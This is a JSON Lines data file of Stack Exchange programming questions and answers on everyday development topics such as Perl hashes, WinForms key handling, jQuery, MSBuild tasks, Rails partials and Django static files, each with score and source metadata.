{"id": "hf_6da9b000c098", "question": "<p>Here is some simple Perl to count the number of times a value occurs in an array. This runs without any warnings.</p>\n\n<pre><code>use warnings;\nuse strict;\n\nmy @data = qw(1 1 2 3 4 5 5 5 9);\nmy %histogram;\nforeach (@data)\n{\n    $histogram{$_}++;\n}\n</code></pre>\n\n<p>When the loop body is changed to</p>\n\n<pre><code>$histogram{$_} = $histogram{$_} + 1;\n</code></pre>\n\n<p>Perl warns \"Use of uninitialized value in addition\".</p>\n\n<p>What is going on under the hood? Why is the value initialized when supplied as an operand to the ++ operator and uninitialized with the + operator?</p>\n", "question_body": "", "answer": "The + operator evaluates both the form to the left and the form to the right of it, then returns the sum of both.  The hash call evaluation does not see any special context.\nThe ++ operator has some special magic built in. Quoting from the perlop manpage, regarding the ++ operator:\n\"undef\" is always treated as numeric, and in particular is changed to 0 before incrementing (so that a post-increment of an undef value will return 0 rather than \"undef\").\nedit\n: To elaborate on the difference, ++ changes the value in place, while + just takes its arguments as input.  When + sees an undefined value, typically something has gone wrong, but for ++, your hash manipulation example is very typical -- the user wants to treat undef as 0, instead of having to check and initialize everytime.  So it seems that it makes sense to treat these operators this way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.552933"}
{"id": "hf_6277af7420ba", "question": "<p>I'm using a <code>RichTextBox</code> (.NET WinForms 3.5) and would like to override some of the standard ShortCut keys....\nFor example, I don't want <kbd>Ctrl</kbd>+<kbd>I</kbd> to make the text italic via the RichText method, but to instead run my own method for processing the text.</p>\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Set the RichtTextBox.ShortcutsEnabled property to true and then handle the shortcuts yourself, using the KeyUp event. E.G.\n```\n```\nusing System;\nusing System.Windows.Forms;\n\nnamespace WindowsFormsApplication1\n{\n    public partial class Form1 : Form\n    {\n        public Form1()\n        {\n            InitializeComponent();\n            this.textBox1.ShortcutsEnabled = false;\n            this.textBox1.KeyUp += new KeyEventHandler(textBox1_KeyUp);\n        }\n\n        void textBox1_KeyUp(object sender, KeyEventArgs e)\n        {\n            if (e.Control == true && e.KeyCode == Keys.X)\n                MessageBox.Show(\"Overriding ctrl+x\");\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.576548"}
{"id": "hf_cce8f83da1a9", "question": "<p>I have a Tapestry PropertyModel for gender.  Right now the dropdown just shows Male and Female because those are the only values in my model. I'd like to add a \"Choose an Option\" option.  Is there a standard way to do this without having to add a fake value to my model?  I'd also like it to be smart enough to know that if the field is required, they can't leave it set to \"Choose an Option\".</p>\n", "question_body": "", "answer": "One solution is to use the LabeledPropertySelectionModel to wrap the real model like:\n```\n```\nnew LabeledPropertySelectionModel(new GenderModel(), \"Choose an Option\")\n```\n```\nThe JavaDoc for that class says:\nDecorates an underlying IPropertySelectionModel adding an initial property. The label option, and value of the initial property are configurable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.601393"}
{"id": "hf_ef579a23ef44", "question": "<p>Are the two events the same or are there differences that we should take note when coding the keyboard presses?</p>\n", "question_body": "", "answer": "The key down event happens as soon as the user presses a key, the key up event happens when they release the key after pressing it.\nSo if you use the key up event, and the user presses a key and holds it for 5 seconds, nothing will happen until they let go of it.\n(Note: I know nothing about .net, I've just used 'key up' and 'key down' events in other libraries.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.626152"}
{"id": "hf_e018728506c7", "question": "<p>I've got an embedded Windows Media player in an HTML page, and when the audio gets to the end, it just starts again from the beginning.</p>\n\n<p>According to the documentation, there's an <code>autorewind</code> parameter/attribute and also a <code>loop</code>.</p>\n\n<p>The problem is, I've set both of those to <code>false</code> (and/or zero) and it doesn't seem to make any difference.</p>\n\n<p>Might this be a bug? My client is WMP 10.00.00.4058. Maybe there's some kind of setting on the <em>server</em> which tells files to loop, is that a crazy idea?</p>\n", "question_body": "", "answer": "compare your html code with this:\nstolen from\nhttp://www.programmingforums.org/post147977.html\n```\n```\n<object width=\"320\" height=\"290\"\nclassid=\"CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95\"\nid=\"mediaplayer1\">\n<param name=\"Filename\" value=\"kids.mpg\">\n<param name=\"AutoStart\" value=\"True\">\n<param name=\"ShowControls\" value=\"True\">\n<param name=\"ShowStatusBar\" value=\"False\">\n<param name=\"ShowDisplay\" value=\"False\">\n<param name=\"AutoRewind\" value=\"True\">\n<embed\ntype=\"application/x-mplayer2\"\npluginspage=\"http://www.microsoft.com/Windows/Downloads/Contents/MediaPlayer/\"\nwidth=\"320\" height=\"290\" src=\"/support/dreamweaver/ts/documents/kids.mpg\"\nfilename=\"kids.mpg\" autostart=\"True\"\nshowcontrols=\"True\" showstatusbar=\"False\"\nshowdisplay=\"False\" autorewind=\"True\">\n</embed>\n</object>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.663176"}
{"id": "hf_2193c7e0d35c", "question": "<p>I have a menu with an animation going on, but I want to disable the click while the animation is happening.</p>\n\n<pre><code>&lt;div&gt;&lt;/div&gt;\n&lt;div&gt;&lt;/div&gt;\n&lt;div&gt;&lt;/div&gt;\n\n$(\"div\").click(function() { \n  $(this).animate({height: \"200px\"}, 2000); \n  return false;\n});\n</code></pre>\n\n<p>However, I want to disable all the buttons while the event is happening, AND disable the div that was clicked. </p>\n\n<p>I was thinking of adding a class to the div that's clicked and putting the click only on the divs without that class:</p>\n\n<pre><code>$(\"div\").not(\"clicked\").click(function() { \n  $(this).animate({height: \"200px\"}, 2000).addClass(\"clicked\"); \n  return false;\n});\n</code></pre>\n\n<p>But this doesn't appear to work (I think it does logically)?</p>\n\n<p>Any help appreciated.</p>\n\n<p>Cheers,<br />\nSteve</p>\n", "question_body": "", "answer": "```\n```\n$(\"div\").click(function() {\n    if (!$(this).parent().children().is(':animated')) {\n        $(this).animate({height: \"200px\"}, 2000); \n    }\n    return false;\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.700888"}
{"id": "hf_1d70afd3882f", "question": "<p>I want to increment a cookie value every time a page is referenced even if the page is loaded from cache. What is the \"best\" or most concise way to implement this?</p>\n", "question_body": "", "answer": "Most of the old cookie handling functions I've seen use simple string manipulations for storing an retrieving values, like\nthis\nexample, you can use other libraries, like\ncookie-js\n, a small\n(< 100 lines)\nutility for cookie access.\nI personally use jQuery on my projects, and I use the\njQuery Cookie Plugin\n, it's really simple to use:\n```\n```\nvar cookieName = \"increment\";\n\nif ($.cookie(cookieName) == null){\n  $.cookie(cookieName, 1, { expires: 10 });\n}else{\n  var newValue = Number($.cookie(cookieName)) + 1;\n  $.cookie(cookieName, newValue, { expires: 10 });\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.725939"}
{"id": "hf_a1cfa3c46109", "question": "<p>I know that this question has already been asked <a href=\"https://stackoverflow.com/questions/41207/javascript-interactive-shell-with-completion\">HERE</a> but sadly none of the answers suggest a javascript standalone shell that has auto completion.  I am reopening this question again, in the hope that some new answers might be found.</p>\n", "question_body": "", "answer": "http://www.faqts.com/knowledge_base/view.phtml/aid/1438\nlists some JavaScript interpreters.  I am not about to download them to confirm they have (tab?) completion.\n[I'm not sure what you mean by auto-completion, since that implies more of an IDE-type approach].\nIs this for web-based development/debugging?  If so, I can really recommend the squarefree\nJS shell\nbookmarklet for Firefox, which was listed in the linked post.  True, it is not standalone, but does have tab completion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.779475"}
{"id": "hf_249f6db5ee4f", "question": "<p>I wanted to try a little design by contract in my latest C# application and wanted to have syntax akin to:</p>\n\n<pre><code>public string Foo()\n{\n    set {\n        Assert.IsNotNull(value);\n        Assert.IsTrue(value.Contains(\"bar\"));\n        _foo = value;\n    }\n}\n</code></pre>\n\n<p>I know I can get static methods like this from a unit test framework, but I wanted to know if something like this was already built-in to the language or if there was already some kind of framework floating around. I can write my own Assert functions, just don't want to reinvent the wheel.</p>\n", "question_body": "", "answer": "Aside from using an external library, you have a simple assert in System.Diagnostics:\n```\n```\nusing System.Diagnostics\n\nDebug.Assert(value != null);\nDebug.Assert(value == true);\n```\n```\nNot very useful, I know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.826496"}
{"id": "hf_8529e412a1e2", "question": "<p>I have written a few MSBuild custom tasks that work well and are use in our CruiseControl.NET build process.</p>\n\n<p>I am modifying one, and wish to unit test it by calling the Task's Execute() method. </p>\n\n<p>However, if it encounters a line containing </p>\n\n<pre><code>Log.LogMessage(\"some message here\");\n</code></pre>\n\n<p>it throws an InvalidOperationException:</p>\n\n<p><em>Task attempted to log before it was initialized. Message was...</em></p>\n\n<p>Any suggestions? (In the past I have mostly unit-tested Internal static methods on my custom tasks to avoid such problems.)</p>\n", "question_body": "", "answer": "If you have implemented the interface ITask you will have to initialise the Log class yourself.\nOtherwise you should just inherit from\nTask\nin Microsoft.Build.Utilities.dll\nThat implements\nITask\nand does a lot of the leg work for you.\nHere is the reference page for building a custom task, it explains quite a lot of it.\nBuilding a custom MSBuild task reference\nAlso worth a look is\nHow to debug a custom MSBuild task\nOther then that could you post the MSBuild XML you are using for calling your custom task.\nThe code itself would obviously be the most help :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.875146"}
{"id": "hf_3620eb4ca46a", "question": "<p>I have a web application that's branded according to the user that's currently logged in. I'd like to change the favicon of the page to be the logo of the private label, but I'm unable to find any code or any examples of how to do this. Has anybody successfully done this before?</p>\n\n<p>I'm picturing having a dozen icons in a folder, and the reference to which favicon.ico file to use is just generated dynamically along with the HTML page. Thoughts?</p>\n", "question_body": "", "answer": "The favicon is declared in the head tag with something like:\n```\n```\n<link rel=\"shortcut icon\" type=\"image/ico\" href=\"favicon.ico\">\n```\n```\nYou should be able to just pass the name of the icon you want along in the view data and throw it into the head tag.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.912534"}
{"id": "hf_b40651ff9482", "question": "<p>I want to convert a BYTE* into  an gdi+ Image object.<p>\nHow can I do this?<p>\nThe BYTE* seems a Dib point.<p>\nI found Image has a method named Image::FromStream() which may help,\nBut I can not find any reference about how to convert a BYTE* into a IStream object.\nHow can I do this? \n<p>\nThanks in advance!</p>\n\n<p><strong>Actually, it is hard to believe MS provide a IStream interface, but do not provide any c++ MemoryStream class which implements the interface.</strong></p>\n", "question_body": "", "answer": "Do you know the format of the image data the\n```\nBYTE\n```\npointer points at? For Image to be able to construct itself from a stream, the data must be in one of the supported standard image formats (GIF, PNG, JPEG etc).\nThe\nIStream\ninterface looks to be simple enough to implement on your own, if there's no suitable \"memory stream\" or similiar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.937115"}
{"id": "hf_f9a437fee4df", "question": "<p>For features comparison of Web Canoo Web Functional Test  and Selenium software, it would be good have an assessment, in terms of integration to Java platform applications, speed, how quick is it to deploy Tests, execute, and analyze results, JavaScript support etc. \nI am using Canoo project, it is pretty good. </p>\n\n<p>Tatyana</p>\n", "question_body": "", "answer": "So I initially pursued Canoo as a direction for functional tests.\nI ended up choosing Selenium as we saw that running selenium in browser\nwas a better fit for us than Canoo which uses HTTPUnit to run tests.\nIf you are running tests at build time with selenium you will need to\nhave the browser\nsoftware you wish to use on the build server.  It is not possible for\nus to test IE on our build\nserver for example....So we only run the tests in Firefox.\nThe killer feature for us was the Selenium IDE.   We have folks using\nthe selenium IDE\nwho are not  really developers which is a great help.   The development team\nworks with them to make sure the tests are running properly.\nCanoo has its own advantages that,  A rather biased blog entry is here:\nhttp://mguillem.wordpress.com/2007/10/29/webtest-vs-selenium-webtest-wins-13-5/\nNote that in spite of all those things I still prefer Selenium...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.974015"}
{"id": "hf_9b42ac589bf1", "question": "<p>When we submit a job, the following steps are executed sequentially.</p>\n<p>Then what is the importance of DPRTY?</p>\n", "question_body": "", "answer": "```\nDPRTY\n```\nis a very old JCL keyword that harks back to the days of MVS/ESA. It was the dispatch priority which dictated to JES what priority individual steps should be given in a job.\nOn all versions of z/OS I have access to (all the supported ones), it has no effect.  This is because the WLM (workload manager) goal mode is the only mode used in z/OS 1.3 and beyond. I believe this keyword was deprecated in MVS/ESA V5R1M0 (see INFO APAR II09592).\nYou can safely ignore it, since JES itself ignores it - all your job steps will be executed in a top-down manner in your JCL job card, with the dispatch priority given by the\n```\nIEAIPSxx\n```\nPARMLIB member.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.070834"}
{"id": "hf_8e5261b3c5c3", "question": "<p>I work on a Fedora Linux box.</p>\n\n<p>I have a whole host of binaries and libraries that I've installed locally under my home directory.</p>\n\n<p>I'd like to set my system up so installing software there functions the same way (for me) as if the root user installed it without a prefix.</p>\n\n<p>I can run binaries installed in ~/local/bin just fine by adding that dir to my PATH variable, but what about linking to libraries in ~/local/lib and ~/local/lib64?</p>\n\n<p>Is there something akin to LD_LIBRARY_PATH variable but to find the library at compile rather than runtime?  I don't want to worry about explicitly passing the path to the compiler via L~/local/lib or through flags in the ./configure script.</p>\n", "question_body": "", "answer": "Set the\n```\nLIBRARY_PATH\n```\nenvironment variable to\n```\n$HOME/local/lib:$HOME/local/lib64\n```\n. You can also set the environment variables\n```\nC_INCLUDE_PATH\n```\nand\n```\nCPLUS_INCLUDE_PATH\n```\nto find include files in\n```\n$HOME/local/include\n```\n. These are environment variables used by GCC to find libraries and include files, so they probably won't work with other compilers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.106463"}
{"id": "hf_0fb89f7735ed", "question": "<p>Although I grasp the concept of Bitwise Operators, I can't say that I have come across many use cases during the webdevelopment process at which I had to resort to using Bitwise Operators.</p>\n\n<ul>\n<li>Do you use Bitwise Operators?</li>\n<li>Why do you use them?</li>\n<li>What are some example use cases?</li>\n</ul>\n\n<p>Please remember that this question is specifically intended for use of Bitwise Operators in web languages.</p>\n", "question_body": "", "answer": "My main use for bitwise operators could be relevant anywhere - representing a set of flags. For instance, you might have an integer in the database representing a set of security permissions for a user, and in your web app you would have to check those before continuing.\nThose tend to only require\n```\n&\n```\nand\n```\n|\n```\n- e.g.\n```\n```\nif ((permissions & Permission.CreateUser) != 0)\n{\n    ...\n}\n```\n```\nor\n```\n```\nPermission requiredPermission = Permission.CreateUser\n                                | Permission.ChangePassword;\n```\n```\nBit\nshifting\noperators are less useful in \"business\" applications in my experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.215856"}
{"id": "hf_0cfdee0013f1", "question": "<p>We have a database that many persons have to have access to. I am looking for a way that will allow us to get notification whenever \"alter\" occurs on this database, so other parties can be aware of it. Please advise.</p>\n", "question_body": "", "answer": "Many persons should NOT have ALTER permission on a production database - very few people should have ALTER permission on a production database.  Actually, you probably shouldn't have many people empowered to make changes in test databases, either.\nYou can consider whether auditing is the correct solution - in some DBMS, it would be one way of detecting changes, but alerting would be harder (other than by some variation on the theme of 'grepping the audit log').  There may be other ways in Oracle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.254241"}
{"id": "hf_133a56270860", "question": "<p>How is it possible to identify that the browser's close button was clicked?</p>\n", "question_body": "", "answer": "Browsers do not have a close event so you can't really tell when the user has closed their browser, there are some potential workarounds in\nThis thread\nIf you let us know what you are trying to achieve, there may be an alternative way", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.291647"}
{"id": "hf_098e0e29c2b7", "question": "<p>how is it advisable to control the cpu utilization during run time ?</p>\n\n<p>poll the cpu load and insert sleeps ?</p>\n", "question_body": "", "answer": "I'd recommend OS functionality. There are performance counters and WinAPI functions for this on Windows.\nHere is an example using\nperformance counters\nfrom\nBCL Team Blog\n:\n```\n```\nforeach (Process proc in Process.GetProcesses()) {\n    using (PerformanceCounter pcProcess = new PerformanceCounter(\"Process\", \"% Processor Time\", proc.ProcessName)) {\n        pcProcess.NextValue();\n        System.Threading.Thread.Sleep(1000);\n        Console.WriteLine(\"Process:{0} CPU% {1}\", proc.ProcessName, pcProcess.NextValue());   \n    }\n}\n```\n```\nThis code makes the same\nwith WMI\nfrom\nCodeProject\n:\n```\n```\npublic string GetCPU()\n{\n    decimal PercentProcessorTime=0;\n    mObject_CPU.Get();\n\n    ulong  u_newCPU   = \n      (ulong)mObject_CPU.Properties[\"PercentProcessorTime\"].Value;\n    ulong u_newNano   = \n      (ulong)mObject_CPU.Properties[\"TimeStamp_Sys100NS\"].Value;\n    decimal d_newCPU  = Convert.ToDecimal(u_newCPU);\n    decimal d_newNano = Convert.ToDecimal(u_newNano);\n    decimal d_oldCPU  = Convert.ToDecimal(u_oldCPU);\n    decimal d_oldNano = Convert.ToDecimal(u_oldNano);\n\n    // Thanks to MSDN for giving me this formula !\n\n    PercentProcessorTime = \n      (1 - ((d_newCPU-d_oldCPU)/(d_newNano - d_oldNano)))*100m;\n\n    // Save the values for the next run\n\n    u_oldCPU          = u_newCPU;\n    u_oldNano         = u_newNano;\n\n    return PercentProcessorTime.ToString(\"N\",nfi);;\n}\n```\n```\nSo you can query these OS providers (or others for your OS) and sleep your thread if processor utilization is high.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.327966"}
{"id": "hf_5e447812a6c8", "question": "<p>What are all <a href=\"http://en.wikipedia.org/wiki/Hayes_command_set\" rel=\"nofollow noreferrer\">AT</a> commands required for <a href=\"http://en.wikipedia.org/wiki/General_Packet_Radio_Service\" rel=\"nofollow noreferrer\">GPRS</a> communication?</p>\n", "question_body": "", "answer": "It depends quite a bit on:\nThe modem\nHow much of the modem's stack you plan on using\nThe carrier you're using\nIf you're using this on a computer and you have a modem configuration file (modem specific), and a carrier configuration or setup then you can intercept the serial commands and find out.\nOtherwise, try going to the modem manufacturer's website and find the AT command guide for your modem.\nOnce you have the modem commands, setting up the connection requires several steps, including initiating the GSM connect, then a GPRS session with a server, and then the PPP session with your carrier's ISP equipement.  You'll need several pieces of information from the carrier, which the AT command set will guide you towards.\nYour modem may also have a built in TCP/IP stack, in which case you also have AT commands to initiate the PPP session, and then TCP connections with internet servers.\nIf you post the modem/carrier/goal/etc you might be able to get more specific help.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.356284"}
{"id": "hf_11ba82f68b95", "question": "<p>I launch a child process in Java as follows:</p>\n\n<pre><code>final String[] cmd = {\"&lt;childProcessName&gt;\"};\nProcess process = Runtime.getRuntime().exec(cmd);\n</code></pre>\n\n<p>It now runs in the background. All good and fine. </p>\n\n<p>If my program now crashes (it <em>is</em> still in dev :-)) the child process still seems to hang around. How can I make it automatically end when the parent Java process dies?</p>\n\n<p>If it helps, I'm using Mac OS X 10.5</p>\n", "question_body": "", "answer": "I worked it out myself already. I add a shutdown hook, as follows:\n```\n```\nfinal String[] cmd = {\"<childProcessName>\"};\nfinal Process process = Runtime.getRuntime().exec(cmd);\nRunnable runnable = new Runnable() {\n    public void run() {\n        process.destroy();\n    }\n};\nRuntime.getRuntime().addShutdownHook(new Thread(runnable));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.400469"}
{"id": "hf_50594745e9b5", "question": "<p>Does anyone know of a script to colorize C++ code the same as the default MSVC IDE does?</p>\n", "question_body": "", "answer": "Is\nSyntaxHighlighter\nthe sort of thing you're looking for? There is also\nGeSHi\n, which has been updated more recently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.464986"}
{"id": "hf_10f0a45916c7", "question": "<p>I am rendering a rails partial and I want to alternate the background color when it renders the partial.  I know that is not super clear so here is an example of what I want to do:</p>\n\n\n\nRow One grey Background\n\n\nRow Two yellow background\n\n\nRow Three grey Background\n\n\nRow Four yellow background\n\n\n\n<ul>\n<li>sorry stackoverflow seams to prevent the background colors from being shown but I think this makes my idea clear</li>\n</ul>\n\n<p>This is the view code that I am using  </p>\n\n<pre><code>&lt;table&gt;\n  &lt;%= render :partial =&gt; 'row' :collection =&gt; @rows %&gt;\n&lt;/table&gt;\n</code></pre>\n\n<p>the _row.html.erb partial looks like this</p>\n\n<pre><code>&lt;tr bgcolor=\"#AAAAAA\"&gt;\n  &lt;td&gt;&lt;%= row.name %&gt;&lt;/td&gt;\n&lt;/tr&gt;\n</code></pre>\n\n<p>The problem is I do not know how to change the background color for every other row.  Is there a way to do this?</p>\n", "question_body": "", "answer": "You could use the Cycle helper. Something like this:\n```\n```\n<tr class=\"<%= cycle(\"even\", \"odd\") %>\">\n  <td><%= row.name %></td>\n</tr>\n```\n```\nOr in your case use bgcolor instead, although i would recomend using css classes.\nYou can cycle through more than two values: cycle(‘first’, ‘second’, ‘third’, ‘and_more’).\nThere is also: reset_cycle(‘cycle_name’) This makes sure that on each iteration, you will start again with your first value of the cycle list.\nCheck the rails\ndocumentation\nfor more examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.501654"}
{"id": "hf_d0785aae39e5", "question": "<p>I've written a little web site in my effort to learn vb.net and asp.net, fairly happy with it so rented some space and uploaded it, it was written using asp.net express edition 2008 and sql server express .... I've uploaded it and I've found that it was written in .NET 3.5 and my host only deals with 2.01 ... I've sorted most of that out, and trimmed my web.config file back to basics, but my forms based authentication isn't working </p>\n\n<pre><code>&lt;compilation debug=\"true\" strict=\"false\" explicit=\"true\"&gt;\n        &lt;/compilation&gt;\n        &lt;authentication mode=\"Forms\" /&gt;\n    &lt;customErrors mode=\"Off\"/&gt;\n  &lt;/system.web&gt;\n</code></pre>\n\n<p>And it keeps reporting that the sql server does not support remote access ...... not sure what to do next, I don't have to write my own security routines do i ? I have a sql server back end</p>\n\n<p>Thanks for your time</p>\n\n<p>Chris</p>\n", "question_body": "", "answer": "If the probllem is that you can not access your SQL Server it may be that you are using a trusted connection to it?\nIt is not likely to work if the website is on a ISP network and your SQL Server is on another network.\nWhat you then need to do is take a look at your connectionstring to change it so that you pass along the username/password in the connection string. NB: This is not optimal in terms of security but it is a way to access remot SQL Servers that are in antother domain.\n/joakim", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.525997"}
{"id": "hf_757a47786b53", "question": "<p>I need to write the content of a map (key is ID of int, value is of self-defined struct) into a file, and load it from the file later on. Can I do it in MFC with CArchive?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "I don't know much about MFC, but your problem is rather trivially solved using\nBoost.Serialization\n```\n```\nstruct MapData {\n     int m_int;\n     std::string m_str;\n\n  private: \n    friend class boost::serialization::access; \n\n    template<class Archive> \n    void serialize(Archive &ar, const unsigned int version) \n    { \n        ar & m_int; \n        ar & m_str; \n    } \n};\n\nstd::map< int, MapData > theData;\n\ntemplate<class Archive>\nvoid serialize(Archive & ar, std::map< int, MapData > & data, const unsigned int version)\n{\n    ar & data;\n}\n```\n```\nAnd then later were you want to do the real archiving:\n```\n```\nstd::ofstream ofs(\"filename\"); \nboost::archive::binary_oarchive oa(ofs); \noa << theData;\n```\n```\nThat's it.\n(disclaimer: code simply typed in this box, not tested at all, typo's were intended ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.552290"}
{"id": "hf_febc99953585", "question": "<p>I am creating my application using Django, and am wondering how I can make Django use my CSS file? What settings do I need to do to make Django see the css file?</p>\n\n<p>NB: On a local machine</p>\n", "question_body": "", "answer": "What settings do i need to do to make Django see the css file?\nNone.\nMake sure your template includes the CSS file (as standard HTML does) and put the CSS file on the media server.\nTo clarify: With Django it is highly recommended that you serve all your media (everything that isn't dynamic html) from a different server instance. How you implement that is completely up to you but most people create a subdomain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.588777"}
{"id": "hf_bd85667e9f6a", "question": "<p>I am currently looking at different ORM solutions for a project that is planned for this spring. Entity Framework is one of the products I am looking closer at, but EF 2.0 would be quite a lot more interesting.</p>\n\n<p>Has there been any indications to when version 2.0 of Entity Framework is planned to be released? With .Net 4.0?</p>\n", "question_body": "", "answer": "AFAIK it hasn't been officially announced. The best hint I saw is\nhere\n, so it's probably coming with .NET 4.0. I bet they will release a CTP before that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.624910"}
